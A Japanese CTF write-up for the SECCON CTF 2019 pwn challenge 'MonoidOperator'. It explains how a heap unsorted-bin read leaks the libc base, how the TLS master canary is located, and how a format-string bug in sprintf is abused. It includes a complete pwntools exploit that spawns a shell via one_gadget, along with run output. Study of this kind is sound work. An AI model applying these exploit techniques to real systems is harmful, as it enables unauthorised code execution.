1: イントロ
いつぞや行われたSECCON CTF 2019
そのpwnの問題の MonoidOperator
TSGという団体がとある大学にあるらしいが、そこの人がつくった問題らしい
モノイドなんて言われたらびびっちゃうよ、もう
2: 表層解析
./monoid_operator: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, BuildID[sha1]=48bb16f89da19f4341a0e25ce018bf9d2c10afc5, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
他にはlibcとldが配布されている
stripped嫌い!!!
実行はこれで
$ LD_PRELOAD="./libc.so.6" ./ld-linux-x86-64.so.2 ./monoid_operator
なおこれにもalarm(0xa)があるためradare2でパッチングしておく
許可されている演算は+,*,^(xor)の3種類のみであり
+,^では初期値0,*では初期値1として計算される
3: libc_baseのleak
入力は演算子->入力数->数字達の入力の順で行われる
このとき入力数によって確保されるmallocサイズが異なる
数字は確保されたmallocに格納されていく
この際数字達の途中で不正な値を入力するとfscanf()の仕様により途中で入力を終了させることができる
また、確保された領域は1つの入力ループが終了する度にfreeされる
以上より、malloc(十分に大きな値)したあとで確保したバッファを勝手にfreeさせてunsortedにつなぎ
再び同じ領域を確保する際に数字たちの入力の2つ目で不正値を入力すれば、unsorted chunkのbkを読むことができる
(具体的には'+'演算子を選択肢、1つ目の数字を0にすればbkの値がそのまま演算結果になる)
ld/libc配布の問題の解き方がいまいちわかっていないからなのか、pedaのarenaとかheapとかの便利コマンドが使えなかったが
最初のunsortedであるからそれが指すのはmain_arena+96であろう
実際上の方法でアドレスを入手し、それをvmmapと見比べてみる
[+]addr: 0x7f917322dca0 0x7f9173047000 0x7f9173049000 rw-p 2000 0 0x7f9173049000 0x7f917306e000 r--p 25000 0 /home/wataru/Documents/CTF/seccon2019/monoid_operator/libc.so.6 pwndbg> p/x 0x7f917322dca0-0x7f9173049000 $6 = 0x1e4ca0
つまり得たアドレスから0x1e4ca0を引けばlibc_baseのleakが完了したことになる
4: MasterCanary(TLS)のleak
このプログラムは終了時にユーザから名前とフィードバックを求める箇所がある
以下は該当部のGhidraコード
if (l859_inp_c == 'q') { /* 'q': QUIT */ write(0x1,"Before end, please submit feed back!\nWhat is your name?\n",0x38); sVar5 = read(0x0,l828_name_buf_p,0x7); /* (NULL terminated) */ *(undefined *)((long)l828_name_buf_p + (long)(int)sVar5) = 0x0; printf("Hi, %s.\nPlease write your feed back!\n",l828_name_buf_p); sVar5 = read(0x0,l818_feedback_buf,0x3ff); l818_feedback_buf[(long)(int)sVar5] = '\0'; /* if feedback contains 'n', exit right now */ pcVar6 = strchr(l818_feedback_buf,0x6e); if (pcVar6 != NULL) { /* WARNING: Subroutine does not return */ _exit(0x1); } /* **VULN** FSB!!! */ sprintf(acStack1048,l818_feedback_buf); if (l10_canary == *(long *)(in_FS_OFFSET + 0x28)) { return 0x0; }
このsprintf()でFSAが使える
'n'は入力できないが別に他の指定子でいけばいいから関係ない
さて、canaryはMasterCanaryから直接読んでくることにする
詳しくは以下のCODE BLUEのスライドを参照
もともとの領域と必ず隣接し、libc_baseとのoffsetも一定らしい
どうやってローカル環境でoffsetを調べるか迷ったが
pwngdbにはtlsというコマンド(システムコールを発行してユーザ権限では読めないfsの値を読んでくれる)があり
それを使って調べたところ以下のようになった
gdb-peda$ tls tls : 0x7f12082be5c0 gdb-peda$ p/x 0x7f12082be5c0-0x7f12080d2000 $2 = 0x1ec5c0
すなわちlibc_baseとmaster_canaryのoffsetは0x1ec5c0
これで全ての準備が整った
5: FSA
自分は正直FSAのうまいやり方をよく知らない
だからまずは%llxを出力させてスタックのどこが何番目のインデックスかを把握し
入力したアドレスの8byte alignがちゃんと保たれるように、かつ出力側でもしっかり意図したとおりにsprintf()されるように試行錯誤をただただ繰り返した
その際canaryはMasterCanaryのアドレス+1から%.7sで読んで来て上書きした
(下1byteは必ず0x00ゆえmaster addr+0で読むとNULLしか読めない)
6: exploit
#!/usr/bin/env python #encoding: utf-8; from pwn import * import sys FILENAME = "./monoid_operator" rhp2 = {'host':"localhost",'port':12344} context(os='linux',arch='amd64') binf = ELF(FILENAME) onegadgets = [0xe237f,0xe2383,0xe2386,0x106ef8] #constraints #[rcx]==NULL||rcx==NULL && [rbp-0x70]==NULL #[rcx]==NULL && [rdx]==NULL #[rsi]==NULL && [rdx]=NULL #[rsp+0x70]==NULL tls_off = 0x1ec5c0 canary_off = 0x28 def hoge(conn,op,num,ints): conn.recvuntil("choose?\n") conn.sendline(op) conn.recvuntil("input?\n") conn.sendline(str(num)) conn.recvline("integers.\n") conn.sendline(" ".join(map(str,ints))) if(num-len(ints)>0): conn.sendline(" 0"*(num-len(ints))) def exploit(conn): #allocate big chunk, free it, and leak main_arena+96 & libc_base hoge(conn,"+",(0x500)/8,[0xffffffffffffffff,2]) hoge(conn,"+",(0x500)/8,[0,'A']) conn.recvuntil("The answer is ") addr = int(conn.recvline()[:-2]) libc_base = addr - 0x1e4ca0 canary_addr = libc_base + tls_off + canary_off print("[+]addr: "+hex(addr)) print("[+]libc_base: "+hex(libc_base)) print("[+]canary addr: "+hex(canary_addr)) print("[+]onegadget0: "+hex(libc_base + onegadgets[0])) conn.recvuntil("choose?\n") conn.sendline("q") conn.recvuntil("name?\n") raw_input() conn.sendline("smallkirby") conn.recvuntil("!\n") #FSA with reading canary from Master Canary(TLS) pay = "A"*4 pay += p64(0xdeadbeefdeadbeef) #%18 pay += "%8$"+str(0x410-0x8-0x10+1)+"c" #%19 #canaryの手前 pay += "%24$.7s"+"%28%c" #canary pay += "%8$6c" #rbp pay += p64(onegadgets[1]+libc_base) #RA #%22 pay += "A"*7 pay += p64(canary_addr+1) #%24 conn.send(pay) #GOT A SHELL! if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ conn = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": conn = remote(rhp1["host"],rhp1["port"]) else: conn = remote(rhp2['host'],rhp2['port']) exploit(conn) conn.interactive()
7: 結果
[*] '/home/wataru/Documents/CTF/seccon2019/monoid_operator/monoid_operator' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to localhost on port 12344: Done [+]addr: 0x7f695c57eca0 [+]libc_base: 0x7f695c39a000 [+]canary addr: 0x7f695c5865e8 [+]onegadget0: 0x7f695c47c37f [*] Switching to interactive mode $ ls a.out cp_exploit.py exploit.py ld-linux-x86-64.so.2 libc.so.6 monoid_operator monoid_operator.gpr monoid_operator.lock monoid_operator.lock~ monoid_operator.rep peda-session-ld-linux-x86-64.so.2.txt run.sh server.sh $ cat /flag FLAG={thi5_i5_t35t_f1ag}
明日試験らしいよ
明々後日NET WARSらしいよ
来週も試験らしいよ
再来週も試験らしいよ
再々来週も試験らしいよ
再々々来週も試験らしいよ
再々々々来週も試験らしいよ
再々々々々来週も試験らしいよ
続く・・・